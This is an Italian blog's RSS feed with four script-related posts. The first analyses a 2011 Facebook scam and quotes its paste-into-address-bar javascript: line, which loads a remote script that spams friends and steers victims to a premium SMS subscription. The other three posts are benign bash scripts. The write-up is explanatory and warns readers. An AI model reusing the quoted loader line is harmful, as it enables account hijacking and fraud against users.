<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Qualsiasi &#187; script</title>
	<atom:link href="http://www.qualsiasi.net/tag/script/feed/" rel="self" type="application/rss+xml" />
	<link>http://www.qualsiasi.net</link>
	<description>perchè a tutti piace il qualunquismo.</description>
	<lastBuildDate>Thu, 05 Jan 2012 22:12:46 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.3.1</generator>
		<item>
		<title>Il video di Osama su Facebook, anatomia di un &#8220;virus&#8221;.</title>
		<link>http://www.qualsiasi.net/2011/il-video-di-osama-su-facebook-anatomia-di-un-virus/</link>
		<comments>http://www.qualsiasi.net/2011/il-video-di-osama-su-facebook-anatomia-di-un-virus/#comments</comments>
		<pubDate>Thu, 05 May 2011 09:37:17 +0000</pubDate>
		<dc:creator>Qualsiasi</dc:creator>
				<category><![CDATA[varie]]></category>
		<category><![CDATA[bin laden]]></category>
		<category><![CDATA[cellulare]]></category>
		<category><![CDATA[facebook]]></category>
		<category><![CDATA[javascript]]></category>
		<category><![CDATA[osama]]></category>
		<category><![CDATA[script]]></category>
		<category><![CDATA[virus]]></category>

		<guid isPermaLink="false">http://www.qualsiasi.net/?p=283</guid>
		<description><![CDATA[Virus virgolettato, perché lo è formalmente &#8211; ma a ben vedere, non è un infezione &#8220;cronica&#8221; &#8211; dura il tempo di esecuzione di uno script. Da ieri, che io sappia, gira su facebook un link che dovrebbe contenere il video dell&#8217;esecuzione di Osama Bin Laden. Ovviamente è un falso e quando si clicca viene presentata [...]]]></description>
			<content:encoded><![CDATA[<p>Virus virgolettato, perché lo è formalmente &#8211; ma a ben vedere, non è un infezione &#8220;cronica&#8221; &#8211; dura il tempo di esecuzione di uno script. Da ieri, che io sappia, gira su facebook un link che dovrebbe contenere il video dell&#8217;esecuzione di Osama Bin Laden. Ovviamente è un falso e quando si clicca viene presentata una pagina di questo tipo:</p>
<div id="attachment_284" class="wp-caption aligncenter" style="width: 553px"><a href="http://www.qualsiasi.net/wordpress/wp-content/uploads/2011/05/Schermata-2011-05-05-a-11.04.58.png"><img class="size-full wp-image-284" title="Schermata 2011-05-05 a 11.04.58" src="http://www.qualsiasi.net/wordpress/wp-content/uploads/2011/05/Schermata-2011-05-05-a-11.04.58.png" alt="" width="543" height="535" /></a><p class="wp-caption-text">Fan page incriminata su Facebook</p></div>
<p>Innanzitutto copiare e incollare qualcosa che non si capisce (e che palesemente non è un indirizzo web) nella barra degli indirizzi è cosa cattiva e sbagliata. Facebook ce la mette tutta, filtrando i contenuti visualizzabili sulle sue pagine interne &#8211; e di fatti per aggirare le restrizioni che non permetterebbero il diffondersi di certi programmi (script) malevoli, il cattivone di turno deve affidarsi al mitico errore PEBKAC ( &#8220;Problem Exists Between Keyboard And Chair&#8221; ) ovvero all&#8217;utente poco saggio che fa tutto quello che gli dici senza sapere cosa sta facendo. Fantastico.</p>
<p>Andiamo oltre e vediamo qual&#8217;è il codice che dobbiamo copiare e incollare.</p>

<div class="wp_syntax"><div class="code"><pre class="javascript" style="font-family:monospace;">javascript<span style="color: #339933;">:</span><span style="color: #009900;">&#40;</span>a<span style="color: #339933;">=</span><span style="color: #009900;">&#40;</span>b<span style="color: #339933;">=</span>document<span style="color: #009900;">&#41;</span>.<span style="color: #660066;">createElement</span><span style="color: #009900;">&#40;</span><span style="color: #3366CC;">'script'</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span>.<span style="color: #660066;">src</span><span style="color: #339933;">=</span><span style="color: #3366CC;">'//strummer5202.info/you/joe.php?'</span><span style="color: #339933;">+</span>Math.<span style="color: #660066;">random</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">,</span>
b.<span style="color: #660066;">body</span>.<span style="color: #660066;">appendChild</span><span style="color: #009900;">&#40;</span>a<span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
<span style="color: #000066; font-weight: bold;">void</span><span style="color: #009900;">&#40;</span><span style="color: #CC0000;">0</span><span style="color: #009900;">&#41;</span></pre></div></div>

<p>Ho riformattato leggermente il codice per una più facile lettura. In pratica esegue un comando &#8220;inline&#8221; javascript che crea un elemento script e e nel campo SRC inserisce l&#8217;url  &#8221;strummer5202.info/you/joe.php&#8221; concatenandoci un numero casuale. La seconda riga inserisce nel documento corrente lo script appena creato, mentre l&#8217;ultima linea non esegue nulla. Notare l&#8217;utilizzo della virgola invece del punto e virgola, è il &#8220;comma operator&#8221; &#8211; una finezza che non sono sicuro fosse necessaria.</p>
<p>Vediamo brevemente il codice che viene inserito nella pagina da questo comando:</p>

<div class="wp_syntax"><div class="code"><pre class="javascript" style="font-family:monospace;"><span style="color: #006600; font-style: italic;">// Il codice l'ho rimosso perchè mi rovinava il layout</span>
<span style="color: #006600; font-style: italic;">// e comunque non era così interessante, se avete </span>
<span style="color: #006600; font-style: italic;">// conoscenza di AJAX, potete scrivervelo in pochi minuti</span>
<span style="color: #006600; font-style: italic;">// da soli.</span></pre></div></div>

<p>Senza entrare nel dettaglio, vediamo come come prima cosa legge un cookie, che evidentemente serve per comunicare con facebook &#8211; poi scarica la lista degli amici e inserisce il link sulla bacheca dei primi 400 amici. In seguito manipola lo stile della barra inferiore per nasconderla, e invia il link anche a tutti gli amici online in chat. Come ultima cosa, porta l&#8217;utente ad una pagina esterna a facebook, dove viene chiesto di verificare l&#8217;account inserendo il numero di telefono. La pagina si presenta come &#8220;verosimile&#8221; anche se lo stile non è proprio quello ufficiale di facebook, e l&#8217;italiano è un po&#8217; troppo informale.</p>
<div id="attachment_285" class="wp-caption aligncenter" style="width: 540px"><a href="http://www.qualsiasi.net/wordpress/wp-content/uploads/2011/05/Schermata-2011-05-05-a-11.30.17.png"><img class="size-full wp-image-285 " title="Schermata 2011-05-05 a 11.30.17" src="http://www.qualsiasi.net/wordpress/wp-content/uploads/2011/05/Schermata-2011-05-05-a-11.30.17.png" alt="" width="530" height="330" /></a><p class="wp-caption-text">Inserisci il tuo numero e ritrovati il credito prosciugato.</p></div>
<p>Ovviamente non ho inserito il numero, ma è verosimile pensare che ci si abboni a qualche servizio a pagamento, possibilmente molto costoso &#8211; così oltre al danno anche la beffa. Il riquadro è un frame, che contiene un altro sito di servizi in abbonamento per telefoni cellulari. Non so se l&#8217;indirizzo viene generato dinamicamente, comunque il frame intero, e non ritagliato &#8220;ad hoc&#8221; contiene anche le informazioni sul servizio a cui ci si ritrova abbonati inserendo il proprio numero:</p>
<blockquote><p><strong>Servizio in abbonamento, riservato ai maggiorenni,</strong> disponibile  per i clienti di TIM, Vodafone, WIND e 3. Prima di attivare il servizio e  scaricare il contenuto, confermare di aver letto Termini di Servizio,  [...]<strong> costo del servizio 5 Euro a settimana IVA inc.</strong> Dal costo del servizio è <strong>escluso il traffico WAP dove previsto.</strong> Costo SMS di richiesta TIM e WIND 12,4 centesimi IVA inc. (WIND: 50  centesimi IVA inc. dall&#8217;estero), Vodafone e 3 secondo proprio piano  tariffario. [...] Per disattivare manda un SMS con  scritto <strong>RI STOP al 4890897.</strong></p></blockquote>
<p>Il servizio sembra completamente legittimo (anche perchè in collaborazione con una grande azienda di telecomunicazioni), ho tagliato alcune parti in cui compare il nome del fornitore del servizio perché la mia impressione è che non centri assolutamente con l&#8217;autore del &#8220;virus&#8221; che voleva semplicemente fare più danni possibile.</p>
<p>UPDATE: mi hanno risposto via email i gestori del &#8220;frame&#8221; che veniva incluso nella pagina finale &#8211; ed ovviamente sono completamente estranei alla vicenda, io lascio il numero per la disattivazione del servizio nel caso qualche lettore sprovveduto si fosse a sua insaputa iscritto al servizio. Il sito &#8220;verifica-account.com&#8221; è già offline come anche il sito &#8220;strummer5202.info&#8221; &#8211; direi che le autorità o chi per loro (amministratori dei vari ISP coinvolti) sono stati veloci.</p>
 <img src="http://www.qualsiasi.net/wordpress/wp-content/plugins/wordpress-feed-statistics/feed-statistics.php?view=1&post_id=283" width="1" height="1" style="display: none;" />]]></content:encoded>
			<wfw:commentRss>http://www.qualsiasi.net/2011/il-video-di-osama-su-facebook-anatomia-di-un-virus/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>Creare un Video partendo da una serie di immagini</title>
		<link>http://www.qualsiasi.net/2010/creare-un-video-partendo-da-una-serie-di-immagini/</link>
		<comments>http://www.qualsiasi.net/2010/creare-un-video-partendo-da-una-serie-di-immagini/#comments</comments>
		<pubDate>Sun, 02 May 2010 08:37:57 +0000</pubDate>
		<dc:creator>Qualsiasi</dc:creator>
				<category><![CDATA[linux]]></category>
		<category><![CDATA[imagemagick]]></category>
		<category><![CDATA[jpeg]]></category>
		<category><![CDATA[jpg]]></category>
		<category><![CDATA[mencoder]]></category>
		<category><![CDATA[mplayer]]></category>
		<category><![CDATA[script]]></category>
		<category><![CDATA[video]]></category>

		<guid isPermaLink="false">http://www.qualsiasi.net/?p=134</guid>
		<description><![CDATA[Un amico mi ha chiesto se potevo montare una serie di immagini in un video, di modo da proiettarlo durante una serata in cui si esibiva. La prima cosa che ho pensato, da buon Linux-user, è stata quella di usare mencoder per codificare la serie di immagini in un video, usando un FPS piuttosto basso. [...]]]></description>
			<content:encoded><![CDATA[<p>Un amico mi ha chiesto se potevo montare una serie di immagini in un video, di modo da proiettarlo durante una serata in cui si esibiva. La prima cosa che ho pensato, da buon Linux-user, è stata quella di usare <a href="http://linux.die.net/man/1/mencoder">mencoder</a> per codificare la serie di immagini in un video, usando un FPS piuttosto basso.</p>
<p>Per dare un effetto più &#8220;psichedelico&#8221; al video però decidemmo che le immagini dovevano comparire per un numero di frame variabile, fra i 2 e i 5 frame (che in un video a 25fps vuol dire, dagli 8 ai 20 centesimi di secondo) &#8211; così lo script è stato modificato di conseguenza.</p>
<p>Le immagini andavano montate in una sequenza casuale, e andavano ricercate nella cartella corrente e in tutte le sotto-cartelle &#8211; nessun problema in quanto l&#8217;utilizzo di <a href="http://linux.die.net/man/1/find">find</a> per trovare i file, e <a href="http://linux.die.net/man/1/shuf">shuf</a> per rimescolarne la lista rendono il compito davvero facile. I passaggi da fare prima di lanciare mencoder per la codifica finale sono: convertire le immagini alla risoluzione finale del video (in questo caso 720&#215;576 PAL) e inserire un logo (al centro, ma è modificabile) &#8211; tutto questo viene fatto con <a href="http://linux.die.net/man/1/convert">convert</a> e <a href="http://linux.die.net/man/1/composite">composite</a>. Il loop finale crea un file list.txt contenente ad ogni riga il nome del file che deve comporre ogni frame del video &#8211; in questo caso tutte le immagini compaiono 10 volte, come impostato dalla variabile $ITER.</p>
<p>Lo script è molto grossolano &#8211; però funziona abbastanza bene, ed è comunque una base di partenza per chiunque abbia necessità di fare qualcosa di simile. Eccolo:</p>
<blockquote><p>#!/bin/bash<br />
SAVEIFS=$IFS<br />
IFS=$(echo -en &#8220;\n\b&#8221;)</p>
<p>ITER=10<br />
DIR=`mktemp -d`<br />
LISTA=`find -iname *.jpg | shuf`<br />
COUNT=0</p>
<p>for i in $LISTA; do<br />
COUNT=$(($COUNT+1))<br />
cp &#8220;$i&#8221; &#8220;$DIR/$COUNT.jpg&#8221;<br />
done;</p>
<p>for i in `seq 1 $COUNT`; do<br />
convert -resize 720&#215;576! &#8220;$DIR/$i.jpg&#8221; &#8220;$DIR/$i.jpg&#8221;<br />
# watermark<br />
composite -gravity center logo.png $i.jpg $i.jpg<br />
done;</p>
<p>for k in `seq 1 $ITER`; do<br />
for i in `seq 1 $COUNT | shuf`; do<br />
for j in `seq 1 $((2+$RANDOM%4))`; do<br />
# 5FPS &#8211; for j in `seq 1 5`; do<br />
echo &#8220;$DIR/$i.jpg&#8221; &gt;&gt; &#8220;$DIR/list.txt&#8221;<br />
done;<br />
done;<br />
done;</p>
<p>mencoder mf://@$DIR/list.txt -mf w=720:h=576:fps=25:type=jpg -ovc lavc \<br />
-lavcopts vcodec=mpeg4:mbd=2:trell -oac copy -o output.avi</p>
<p>IFS=$SAVEIFS</p></blockquote>
<p>Purtroppo ho perso l&#8217;indentazione, non che sia necessaria per così poche righe di testo. Se non funzionasse, fate attenzione al comando mencoder spezzato su due linee&#8230; per altri problemi, ci sono i commenti!</p>
 <img src="http://www.qualsiasi.net/wordpress/wp-content/plugins/wordpress-feed-statistics/feed-statistics.php?view=1&post_id=134" width="1" height="1" style="display: none;" />]]></content:encoded>
			<wfw:commentRss>http://www.qualsiasi.net/2010/creare-un-video-partendo-da-una-serie-di-immagini/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Calcolare il pigreco. (?)</title>
		<link>http://www.qualsiasi.net/2009/calcolare-il-pigreco-%cf%80/</link>
		<comments>http://www.qualsiasi.net/2009/calcolare-il-pigreco-%cf%80/#comments</comments>
		<pubDate>Sat, 23 May 2009 09:34:10 +0000</pubDate>
		<dc:creator>Qualsiasi</dc:creator>
				<category><![CDATA[linux]]></category>
		<category><![CDATA[?]]></category>
		<category><![CDATA[script]]></category>

		<guid isPermaLink="false">http://www.qualsiasi.net/?p=77</guid>
		<description><![CDATA[Questo è uno script non mio, ma siccome non mi ricordo la fonte, lo copio-incollo senza pudore tanto non è un segreto industriale. Salvate in pi.sh (o col nome che volete) questo scriptino. #!/bin/bash time bc -q -l &#60;&#60; EOF scale=$1 4*a(1) quit EOF Rendetelo eseguibile (chmod a+x ./pi.sh) e ora lanciatelo seguito dal numero [...]]]></description>
			<content:encoded><![CDATA[<p>Questo è uno script non mio, ma siccome non mi ricordo la fonte, lo copio-incollo senza pudore tanto non è un segreto industriale. Salvate in pi.sh (o col nome che volete) questo scriptino.</p>
<blockquote><p>#!/bin/bash</p>
<p>time bc -q -l &lt;&lt; EOF<br />
scale=$1<br />
4*a(1)<br />
quit<br />
EOF</p></blockquote>
<p>Rendetelo eseguibile (chmod a+x ./pi.sh) e ora lanciatelo seguito dal numero di cifre dopo la virgola che volete calcolare.</p>
<blockquote><p>$ pi.sh 10<br />
3.1415926532</p>
<p>real    0m0.009s<br />
user    0m0.000s<br />
sys     0m0.004s</p></blockquote>
<p>Tenete conto che è un&#8217;approssimazione quindi l&#8217;ultima o le ultime due cifre non sono molto affidabili. E&#8217; comunque un test carino (visto il &#8220;time&#8221;) per fare dei piccoli benchmark. Ma soprattutto la vostra curiosità dovrebbe spingeri fino a questa manpage:</p>
<blockquote><p>NAME<br />
bc &#8211; An arbitrary precision calculator language</p></blockquote>
<p>Contenti?</p>
 <img src="http://www.qualsiasi.net/wordpress/wp-content/plugins/wordpress-feed-statistics/feed-statistics.php?view=1&post_id=77" width="1" height="1" style="display: none;" />]]></content:encoded>
			<wfw:commentRss>http://www.qualsiasi.net/2009/calcolare-il-pigreco-%cf%80/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Bloccare il PC quando sei lontano</title>
		<link>http://www.qualsiasi.net/2009/bloccare-il-pc-quando-sei-lontano/</link>
		<comments>http://www.qualsiasi.net/2009/bloccare-il-pc-quando-sei-lontano/#comments</comments>
		<pubDate>Sun, 15 Mar 2009 20:58:35 +0000</pubDate>
		<dc:creator>Qualsiasi</dc:creator>
				<category><![CDATA[linux]]></category>
		<category><![CDATA[bluetooth]]></category>
		<category><![CDATA[lock]]></category>
		<category><![CDATA[script]]></category>

		<guid isPermaLink="false">http://www.qualsiasi.net/?p=34</guid>
		<description><![CDATA[Oggi ero in vena di smanettamenti e ho creato questo scriptino da lanciare all&#8217;avvio di KDE4 (ma in teoria anche GNOME, e altri, ma di certo non mi metterò a provarlo) per fare in modo che la sessione venga &#8220;lockata&#8221; quando siete lontani. Dovete avere il bluetooth sul PC e pure sul cellulare che tenete [...]]]></description>
			<content:encoded><![CDATA[<p>Oggi ero in vena di smanettamenti e ho creato questo scriptino da lanciare all&#8217;avvio di KDE4 (ma in teoria anche GNOME, e altri, ma di certo non mi metterò a provarlo) per fare in modo che la sessione venga &#8220;lockata&#8221; quando siete lontani. Dovete avere il bluetooth sul PC e pure sul cellulare che tenete in tasca. Quando il cellulare non sarà più nel range del computer, partirà lo screensaver con blocco della sessione.</p>
<p>Innanzitutto attivate il bluetooth sul cellulare (o qualsiasi altra periferica) e rendetelo visibile a tutti, ora date il comando</p>
<blockquote><p>$ hcitool scan<br />
Scanning &#8230;<br />
00:13:57:9B:DF:24       Qualsiasi</p></blockquote>
<p>Segnatevi il MAC address, nel mio caso (è finto) &#8220;00:13:57:9B:DF:24&#8243;, questa è la periferica che controllerà la sessione. Ora potete mettere il telefono in modalità &#8220;invisibile&#8221;, ma non spegnere il bluetooth.</p>
<p>Nella vostra home, andata in .kde4/Autostart</p>
<blockquote><p>cd ~/.kde4/Autostart/</p></blockquote>
<p>create un file contenente questo script (ad esempio lock.sh) sostituendo alla linea KEY_MAC quello che vi eravate segnati pocanzi:</p>
<blockquote><p>#!/bin/bash</p>
<p>ENABLED=$(kdialog &#8211;yesno &#8220;Bluetooth Key?&#8221;;echo $?)</p>
<p>if [ "$ENABLED" != "0" ]; then<br />
exit 0<br />
fi</p>
<p>KEY_MAC=&#8221;00:13:57:9B:DF:24&#8243;;</p>
<p>while [ "1" ]; do<br />
DEVNAME=`hcitool name $KEY_MAC`;</p>
<p>if [ -z "$DEVNAME" ]; then<br />
qdbus org.freedesktop.ScreenSaver /ScreenSaver Lock<br />
fi</p>
<p>sleep 60</p>
<p>done;</p></blockquote>
<p>Rendete il file eseguibile, così</p>
<blockquote><p>chmod a+x lock.sh</p></blockquote>
<p>dal prossimo avvio di KDE4 una finestrella vi chiederà se in quella sessione volete usare questa possibilità, così potrete lavorare tranquilli anche quando dimenticherete il cellulare a casa, o quando è scarico.</p>
<p>Il controllo della presenza del telefono viene fatto ogni 60 secondi.</p>
 <img src="http://www.qualsiasi.net/wordpress/wp-content/plugins/wordpress-feed-statistics/feed-statistics.php?view=1&post_id=34" width="1" height="1" style="display: none;" />]]></content:encoded>
			<wfw:commentRss>http://www.qualsiasi.net/2009/bloccare-il-pc-quando-sei-lontano/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>

